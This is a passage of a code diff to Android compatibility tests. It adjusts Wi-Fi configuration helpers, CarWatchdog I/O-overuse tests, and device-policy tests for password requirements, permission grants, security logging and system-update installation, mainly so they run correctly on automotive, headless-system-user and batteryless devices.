+                + ", mgr=" + mWifiManager + ", currentUserMgr=" + mCurrentUserWifiManager);
+    }
+
+    @Override
+    public String toString() {
+        return "WifiConfigCreator[mWifiManager=" + mWifiManager
+                + ",mCurrentUserWifiManager=" + mCurrentUserWifiManager + "]";
     }
 
     /**
@@ -81,6 +92,7 @@
 
         WifiConfiguration wifiConf = createConfig(ssid, hidden, securityType, password);
 
+        Log.i(TAG, "Adding SSID " + ssid + " using " + mWifiManager);
         int netId = mWifiManager.addNetwork(wifiConf);
 
         if (netId != -1) {
@@ -303,15 +315,17 @@
     }
 
     private List<WifiConfiguration> getConfiguredNetworksWithLogging() {
-        Log.d(TAG, "calling getConfiguredNetworks()");
-        List<WifiConfiguration> configuredNetworks = getConfiguredNetworks();
+        Log.d(TAG, "calling getConfiguredNetworks() using " + mCurrentUserWifiManager);
+        // Must use a the WifiManager of the current user to list networks, as
+        // getConfiguredNetworks() would return empty on systems using headless system
+        // mode as that method "Return a list of all the networks configured for the current
+        // foreground user", and the system user is running in the background in this case.
+        List<WifiConfiguration> configuredNetworks = mCurrentUserWifiManager
+                .getConfiguredNetworks();
         Log.d(TAG, "Got " + configuredNetworks.size() + " networks: "
-                + configuredNetworks.stream().map((c) -> c.SSID).collect(Collectors.toList()));
+                + configuredNetworks.stream().map((c) -> c.SSID + "/" + c.networkId)
+                        .collect(Collectors.toList()));
         return configuredNetworks;
     }
-
-    public List<WifiConfiguration> getConfiguredNetworks() {
-        return mWifiManager.getConfiguredNetworks();
-    }
 }
 
diff --git a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
index 7057462..66c6c5a 100644
--- a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
+++ b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
@@ -299,6 +299,7 @@
                     CarWatchdogManager.FLAG_RESOURCE_OVERUSE_IO,
                     CarWatchdogManager.STATS_PERIOD_CURRENT_DAY);
         }
+        Log.d(TAG, "Fetched resource overuse stats: " + stats);
         IoOveruseStats ioOveruseStats = stats.getIoOveruseStats();
         if (ioOveruseStats == null) {
             setDumpMessage(
@@ -312,7 +313,6 @@
                     + "' returned by get request");
             return 0;
         }
-        Log.d(TAG, ioOveruseStats.toString());
         /*
          * Check for foreground mode bytes given CtsCarApp is running in the foreground
          * during testing.
@@ -343,26 +343,24 @@
         @Override
         public void onOveruse(ResourceOveruseStats resourceOveruseStats) {
             synchronized (mLock) {
+                Log.d(TAG, "onOveruse callback received: " + resourceOveruseStats);
                 mForegroundModeBytes = -1;
                 mNotificationReceived = true;
                 mLock.notifyAll();
-            }
-            Log.d(TAG, resourceOveruseStats.toString());
-            if (resourceOveruseStats.getIoOveruseStats() == null) {
-                setDumpMessage(
-                        "ERROR: No I/O overuse stats reported for the application in the overuse "
-                        + "notification.");
-                return;
-            }
-            long reportedWrittenBytes =
-                    resourceOveruseStats.getIoOveruseStats().getTotalBytesWritten();
-            if (reportedWrittenBytes < mExpectedMinWrittenBytes) {
-                setDumpMessage("ERROR: Actual written bytes to disk '" + mExpectedMinWrittenBytes
-                        + "' don't match written bytes '" + reportedWrittenBytes
-                        + "' reported in overuse notification");
-                return;
-            }
-            synchronized (mLock) {
+                if (resourceOveruseStats.getIoOveruseStats() == null) {
+                    setDumpMessage(
+                            "ERROR: No I/O overuse stats reported for the application in the "
+                            + "overuse notification.");
+                    return;
+                }
+                long reportedWrittenBytes =
+                        resourceOveruseStats.getIoOveruseStats().getTotalBytesWritten();
+                if (reportedWrittenBytes < mExpectedMinWrittenBytes) {
+                    setDumpMessage("ERROR: Actual written bytes to disk '"
+                            + mExpectedMinWrittenBytes + "' don't match written bytes '"
+                            + reportedWrittenBytes + "' reported in overuse notification");
+                    return;
+                }
                 mForegroundModeBytes =
                         resourceOveruseStats.getIoOveruseStats().getRemainingWriteBytes()
                                 .getForegroundModeBytes();
diff --git a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
index f66b391..6859866 100644
--- a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
+++ b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
@@ -29,6 +29,7 @@
 import com.android.os.AtomsProto.CarWatchdogIoOveruseStatsReported;
 import com.android.os.AtomsProto.CarWatchdogKillStatsReported;
 import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
@@ -36,6 +37,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.time.LocalDateTime;
 import java.util.List;
 import java.util.Objects;
 import java.util.concurrent.atomic.AtomicReference;
@@ -44,6 +46,8 @@
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CarWatchdogHostTest extends CarHostJUnit4TestCase {
+    public static final String TAG = CarWatchdogHostTest.class.getSimpleName();
+
     /**
      * CarWatchdog app package.
      */
@@ -120,9 +124,20 @@
 
     private static final long WATCHDOG_ACTION_TIMEOUT_MS = 15_000;
 
+    private boolean mDidModifyDateTime;
     private long mOriginalForegroundBytes;
 
     @Before
+    public void dateSetUp() throws Exception {
+        checkAndSetDate();
+    }
+
+    @After
+    public void dateReset() throws Exception {
+        checkAndResetDate();
+    }
+
+    @Before
     public void setUp() throws Exception {
         ConfigUtils.removeConfig(getDevice());
         ReportUtils.clearReports(getDevice());
@@ -328,4 +343,26 @@
                 "am start -W -a android.intent.action.MAIN -n %s/%s --el bytes_to_kill %d",
                 appPkg, ACTIVITY_CLASS, remainingBytes);
     }
+
+    private void checkAndSetDate() throws Exception {
+        // Get date in ISO-8601 format
+        LocalDateTime now = LocalDateTime.parse(executeCommand("date +%%FT%%T").trim());
+        if (now.getHour() < 23) {
+            return;
+        }
+        LocalDateTime nowMinusOneHour = now.minusHours(1);
+        executeCommand("date %s", nowMinusOneHour);
+        CLog.d(TAG, "checkAndSetDate: DateTime changed from %s to %s", now, nowMinusOneHour);
+        mDidModifyDateTime = true;
+    }
+
+    private void checkAndResetDate() throws Exception {
+        if (!mDidModifyDateTime) {
+            return;
+        }
+        LocalDateTime now = LocalDateTime.parse(executeCommand("date +%%FT%%T").trim());
+        LocalDateTime nowPlusOneHour = now.plusHours(1);
+        executeCommand("date %s", nowPlusOneHour);
+        CLog.d(TAG, "checkAndResetDate: DateTime changed from %s to %s", now, nowPlusOneHour);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index fcc7d5d..472cdbc 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -44,7 +44,7 @@
 
     <!-- Add a network security config that trusts user added CAs for tests -->
     <application android:networkSecurityConfig="@xml/network_security_config"
-         android:testOnly="true">
+         android:testOnly="true" android:debuggable="true">
 
         <uses-library android:name="android.test.runner"/>
         <receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index 67a5085..76126cf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -127,6 +127,8 @@
     protected UserManager mUserManager;
     protected Context mContext;
     protected boolean mHasSecureLockScreen;
+    protected boolean mIsAutomotive;
+    protected boolean mIsDeviceOwnerTest;
     static CountDownLatch mOnPasswordExpiryTimeoutCalled;
 
     protected final String mTag = getClass().getSimpleName();
@@ -141,12 +143,14 @@
 
         mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_SECURE_LOCK_SCREEN);
+        mIsAutomotive = mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_AUTOMOTIVE);
 
-        boolean isDeviceOwnerTest = "DeviceOwner"
+        mIsDeviceOwnerTest = "DeviceOwner"
                 .equals(InstrumentationRegistry.getArguments().getString("admin_type"));
 
         mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
-                BasicAdminReceiver.class, isDeviceOwnerTest);
+                BasicAdminReceiver.class, mIsDeviceOwnerTest);
 
         Log.v(TAG, "setup(): dpm for " + getClass() + " and user " + mContext.getUserId() + ": "
                 + mDevicePolicyManager);
@@ -159,7 +163,7 @@
         Log.d(mTag, "setup() on user " + mContext.getUserId() + ": package=" + PACKAGE_NAME
                 + ", adminReceiverComponent=" + ADMIN_RECEIVER_COMPONENT
                 + ", isActiveAdmin=" + isActiveAdmin + ", isProfileOwner=" + isProfileOwner
-                + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + isDeviceOwnerTest);
+                + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + mIsDeviceOwnerTest);
 
         assertWithMessage("active admin for %s", ADMIN_RECEIVER_COMPONENT).that(isActiveAdmin)
                 .isTrue();
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
index f9ce726..59a5a5c6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
@@ -22,18 +22,22 @@
 
 import static org.testng.Assert.assertThrows;
 
+import android.util.Log;
+
 /**
  * Class that tests password constraints API preconditions.
  */
 public class PasswordRequirementsTest extends BaseDeviceAdminTest {
+
     private static final int TEST_VALUE = 5;
+
+    private static final int DEFAULT_LENGTH = 0;
     private static final int DEFAULT_NUMERIC = 1;
     private static final int DEFAULT_LETTERS = 1;
     private static final int DEFAULT_UPPERCASE = 0;
     private static final int DEFAULT_LOWERCASE = 0;
     private static final int DEFAULT_NON_LETTER = 0;
     private static final int DEFAULT_SYMBOLS = 1;
-    private static final int DEFAULT_LENGTH = 0;
 
     public void testPasswordConstraintsDoesntThrowAndPreservesValuesPreR() {
         // Pre-R password restrictions can be set in any order.
@@ -51,23 +55,46 @@
         // Make sure these values are preserved and not reset when quality is set low.
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+        if (mIsAutomotive) {
+            assertEquals(DEFAULT_LENGTH,
+                    mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_NUMERIC,
+                    mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_LETTERS,
+                    mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_UPPERCASE,
+                    mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_LOWERCASE,
+                    mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_NON_LETTER,
+                    mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_SYMBOLS,
+                    mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+        } else {
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+
+        }
     }
 
     public void testSettingConstraintsWithLowQualityThrowsOnRPlus() {
+        if (!deviceSupportDeprecatedPasswordQualityAPIs(
+                "testSettingConstraintsWithLowQualityThrowsOnRPlus")) {
+            return;
+        }
+
         // On R and above quality should be set first.
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
@@ -89,6 +116,11 @@
     }
 
     public void testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus() {
+        if (!deviceSupportDeprecatedPasswordQualityAPIs(
+                "testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus")) {
+            return;
+        }
+
         // On R and above quality should be set first.
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
@@ -112,6 +144,11 @@
     }
 
     public void testSettingConstraintsWithComplexQualityAndResetWithLowerQuality() {
+        if (!deviceSupportDeprecatedPasswordQualityAPIs(
+                "testSettingConstraintsWithComplexQualityAndResetWithLowerQuality")) {
+            return;
+        }
+
         // On R and above when quality is lowered, irrelevant requirements are getting reset.
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
@@ -153,6 +190,13 @@
         // Now length should also be reset.
         assertEquals(DEFAULT_LENGTH,
                 mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+    }
 
+    private boolean deviceSupportDeprecatedPasswordQualityAPIs(String test) {
+        if (mIsAutomotive) {
+            Log.d(mTag, "Skipping " + test + "on automotive build");
+            return false;
+        }
+        return true;
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index f0d69e8..1ab76e5 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -34,8 +34,11 @@
 import android.Manifest.permission;
 import android.app.UiAutomation;
 import android.app.admin.DevicePolicyManager;
+import android.content.Context;
 import android.content.IntentFilter;
 import android.os.Process;
+import android.os.UserHandle;
+import android.os.UserManager;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
@@ -238,27 +241,43 @@
 
     private void assertCanSetPermissionGrantStatePreMApp(String permission, int value)
             throws Exception {
-        assertTrue(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PRE_M_APP_PACKAGE_NAME, permission, value));
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PRE_M_APP_PACKAGE_NAME, permission), value);
+        Log.d(TAG, "Calling " + mDevicePolicyManager + ".setPermissionGrantState("
+                + PRE_M_APP_PACKAGE_NAME + ", " + permission + ", "
+                + permissionGrantStateToString(value) + ")");
+        boolean result = mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PRE_M_APP_PACKAGE_NAME, permission, value);
+        Log.d(TAG, "Result: " + result);
+
+        assertWithMessage("%s.setPermissionGrantState(%s, %s, %s)", mDevicePolicyManager,
+                ADMIN_RECEIVER_COMPONENT, PRE_M_APP_PACKAGE_NAME,
+                permissionGrantStateToString(value)).that(result).isTrue();
+
+        assertPermissionGrantState(mDevicePolicyManager, PRE_M_APP_PACKAGE_NAME, permission, value);
+
+        Context context = mContext;
+        if (mIsDeviceOwnerTest && UserManager.isHeadlessSystemUserMode()) {
+            Log.d(TAG, "Using context for system user on device owner test because device uses "
+                    + "headless system user mode");
+            context = mContext.createContextAsUser(UserHandle.SYSTEM, /* flags= */ 0);
+        }
 
         // Install time permissions should always be granted
-        PermissionUtils.checkPermission(permission, PERMISSION_GRANTED, PRE_M_APP_PACKAGE_NAME);
+        PermissionUtils.checkPermission(context, permission, PERMISSION_GRANTED,
+                PRE_M_APP_PACKAGE_NAME);
 
         // For pre-M apps the access to the data might be prevented via app-ops. Hence check that
         // they are correctly set
         switch (value) {
             case PERMISSION_GRANT_STATE_GRANTED:
-                PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_GRANTED,
+                PermissionUtils.checkPermissionAndAppOps(context, permission, PERMISSION_GRANTED,
                         PRE_M_APP_PACKAGE_NAME);
                 break;
             case PERMISSION_GRANT_STATE_DENIED:
-                PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_DENIED,
+                PermissionUtils.checkPermissionAndAppOps(context, permission, PERMISSION_DENIED,
                         PRE_M_APP_PACKAGE_NAME);
                 break;
             default:
-                fail("unsupported policy value");
+                fail("unsupported policy value (" + value + ")");
         }
     }
 
@@ -438,9 +457,10 @@
             int grantState) {
         boolean result = dpm.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
                 PERMISSION_APP_PACKAGE_NAME, permission, grantState);
-        Log.d(TAG, "setPermissionGrantState(" + permission + "): requested " + grantState + " ("
-                + permissionGrantStateToString(grantState) + ") using DPM " + mDevicePolicyManager
-                + " on uid " + Process.myUid() + ", got " + result);
+        Log.d(TAG, "setPermissionGrantState(" + PERMISSION_APP_PACKAGE_NAME + ", " + permission
+                + "): requested " + grantState + " (" + permissionGrantStateToString(grantState)
+                + ") using DPM " + mDevicePolicyManager + " on uid " + Process.myUid()
+                + ", got " + result);
         return result;
     }
 
@@ -450,12 +470,17 @@
 
     private void assertPermissionGrantState(DevicePolicyManager dpm, String permission,
             int expectedState) {
+        assertPermissionGrantState(dpm, PERMISSION_APP_PACKAGE_NAME, permission, expectedState);
+    }
+
+    private void assertPermissionGrantState(DevicePolicyManager dpm, String packageName,
+            String permission, int expectedState) {
         int actualState = dpm.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, permission);
+                packageName, permission);
 
         assertWithMessage("%s.getPermissionGrantState(%s, %s, %s) (where %s=%s and %s=%s)",
-                mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT, PERMISSION_APP_PACKAGE_NAME,
-                permission, expectedState, permissionGrantStateToString(expectedState),
+                mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT, packageName, permission,
+                expectedState, permissionGrantStateToString(expectedState),
                 actualState, permissionGrantStateToString(actualState))
                         .that(actualState)
                         .isEqualTo(expectedState);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
index db28c24..d8fd8df 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
@@ -491,14 +491,24 @@
         return findEvent(description, events, e -> e.getTag() == tag);
     }
 
+    private List<SecurityEvent> findEvents(List<SecurityEvent> events,
+            Predicate<SecurityEvent> predicate) {
+        return events.stream().filter(predicate).collect(Collectors.toList());
+    }
+
     private SecurityEvent findEvent(String description, List<SecurityEvent> events,
             Predicate<SecurityEvent> predicate) {
-        final List<SecurityEvent> matches =
-                events.stream().filter(predicate).collect(Collectors.toList());
+        final List<SecurityEvent> matches = findEvents(events, predicate);
         assertEquals("Invalid number of matching events: " + description, 1, matches.size());
         return matches.get(0);
     }
 
+    private void assertNumberEvents(String description, List<SecurityEvent> events,
+            Predicate<SecurityEvent> predicate, int expectedSize) {
+        assertEquals("Invalid number of matching events: " + description, expectedSize,
+                findEvents(events, predicate).size());
+    }
+
     private static Object getDatum(SecurityEvent event, int index) {
         final Object[] dataArray = (Object[]) event.getData();
         return dataArray[index];
@@ -679,21 +689,21 @@
         // The order should be consistent with the order in generatePasswordComplexityEvents(), so
         // that the expected values change in the same sequence as when setting password policies.
         expectedPayload[PWD_QUALITY_INDEX] = PASSWORD_QUALITY_COMPLEX;
-        findPasswordComplexityEvent("set pwd quality", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd quality", events, expectedPayload);
         expectedPayload[PWD_LEN_INDEX] = TEST_PWD_LENGTH;
-        findPasswordComplexityEvent("set pwd length", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd length", events, expectedPayload);
         expectedPayload[LETTERS_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min letters", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min letters", events, expectedPayload);
         expectedPayload[NON_LETTERS_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min non-letters", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min non-letters", events, expectedPayload);
         expectedPayload[UPPERCASE_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min uppercase", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min uppercase", events, expectedPayload);
         expectedPayload[LOWERCASE_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min lowercase", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min lowercase", events, expectedPayload);
         expectedPayload[NUMERIC_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min numeric", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min numeric", events, expectedPayload);
         expectedPayload[SYMBOLS_INDEX] = TEST_PWD_CHARS;
-        findPasswordComplexityEvent("set pwd min symbols", events, expectedPayload);
+        assertPasswordComplexityEvent("set pwd min symbols", events, expectedPayload);
     }
 
     private void verifyNewStylePasswordComplexityEventPresent(List<SecurityEvent> events) {
@@ -769,10 +779,11 @@
                         getInt(e, ADMIN_USER_INDEX) == userId);
     }
 
-    private void findPasswordComplexityEvent(
+    private void assertPasswordComplexityEvent(
             String description, List<SecurityEvent> events, Object[] expectedPayload) {
-        findEvent(description, events,
-                byTagAndPayload(TAG_PASSWORD_COMPLEXITY_SET, expectedPayload));
+        int expectedSize = mIsAutomotive ? 0 : 1;
+        assertNumberEvents(description, events,
+                byTagAndPayload(TAG_PASSWORD_COMPLEXITY_SET, expectedPayload), expectedSize);
     }
 
     private void findNewStylePasswordComplexityEvent(
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java
index 53fa547..2dfa7e1 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java
@@ -63,39 +63,64 @@
                 InstallSystemUpdateCallback.UPDATE_ERROR_FILE_NOT_FOUND);
     }
 
-    public void testInstallUpdate_failNoZipOtaFile() throws InterruptedException {
+    public void testInstallUpdate_failNoZipOtaFile() throws Exception {
         if (!isDeviceAB()) {
             return;
         }
-        assertUpdateError("notZip.zi", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        try {
+            setupBatteryState();
+            assertUpdateError("notZip.zi", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        } finally {
+            teardownBatteryState();
+        }
     }
 
-    public void testInstallUpdate_failWrongPayloadFile() throws InterruptedException {
+    public void testInstallUpdate_failWrongPayloadFile() throws Exception {
         if (!isDeviceAB()) {
             return;
         }
-        assertUpdateError("wrongPayload.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        try {
+            setupBatteryState();
+            assertUpdateError("wrongPayload.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        } finally {
+            teardownBatteryState();
+        }
     }
 
-    public void testInstallUpdate_failEmptyOtaFile() throws InterruptedException {
+    public void testInstallUpdate_failEmptyOtaFile() throws Exception {
         if (!isDeviceAB()) {
             return;
         }
-        assertUpdateError("empty.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        try {
+            setupBatteryState();
+            assertUpdateError("empty.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        } finally {
+            teardownBatteryState();
+        }
     }
 
-    public void testInstallUpdate_failWrongHash() throws InterruptedException {
+    public void testInstallUpdate_failWrongHash() throws Exception {
         if (!isDeviceAB()) {
             return;
         }
-        assertUpdateError("wrongHash.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        try {
+            setupBatteryState();
+            assertUpdateError("wrongHash.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        } finally {
+            teardownBatteryState();
+        }
     }
 
-    public void testInstallUpdate_failWrongSize() throws InterruptedException {
+    public void testInstallUpdate_failWrongSize() throws Exception {
         if (!isDeviceAB()) {
             return;
         }
-        assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        try {
+            setupBatteryState();
+            assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID);
+        } finally {
+            teardownBatteryState();
+        }
     }
 
     public void testInstallUpdate_notCharging_belowThreshold_failsBatteryCheck() throws Exception {
@@ -251,4 +276,31 @@
     private boolean isDeviceAB() {
         return "true".equalsIgnoreCase(SystemProperties.get(AB_DEVICE_KEY, ""));
     }
+
+    private boolean deviceHasBattery() {
+        final Intent batteryInfo = mContext.registerReceiver(null,
+                new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+        return batteryInfo != null
+               && batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true);
+    }
+
+    /**
+     * This is just for batteryless device,as we know from above that remaining capacity
+     * is 0 on Android 9 and higher. We need set battery status to meet the test conditions
+     * of InstallUpdateTest for batteryless device.
+     * For device has a battery, the test conditions follow the real status of the battery.
+     */
+    private void setupBatteryState() throws Exception {
+        if (!deviceHasBattery()) {
+            setChargingBatteryThreshold(TEST_BATTERY_THRESHOLD);
+            setChargingBatteryLevelAndWait(TEST_BATTERY_THRESHOLD);
+        }
+    }
+
+    private void teardownBatteryState() {
+        if (!deviceHasBattery()) {
+            resetBatteryState();
+            resetDevicePolicyConstants();
+        }
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
index 5f8766e..acbfb08 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
@@ -52,6 +52,7 @@
 
     protected DevicePolicyManager mDevicePolicyManager;
     protected WifiManager mWifiManager;
+    protected WifiManager mCurrentUserWifiManager;
     protected WifiConfigCreator mWifiConfigCreator;
     protected Instrumentation mInstrumentation;
     protected UiDevice mDevice;
@@ -75,15 +76,8 @@
                 BasicAdminReceiver.class, /* forDeviceOwner= */ true);
         mWifiManager = TestAppSystemServiceFactory.getWifiManager(mContext,
                 BasicAdminReceiver.class);
-        WifiManager currentUserWifiManager = mContext.getSystemService(WifiManager.class);
-        mWifiConfigCreator = new WifiConfigCreator(mContext, mWifiManager) {
-            @Override
-            public List<WifiConfiguration> getConfiguredNetworks() {
-                // Must always use the current user's wifi manager, otherwise it would fail on
-                // headless system user (as the device owner is not the current user).
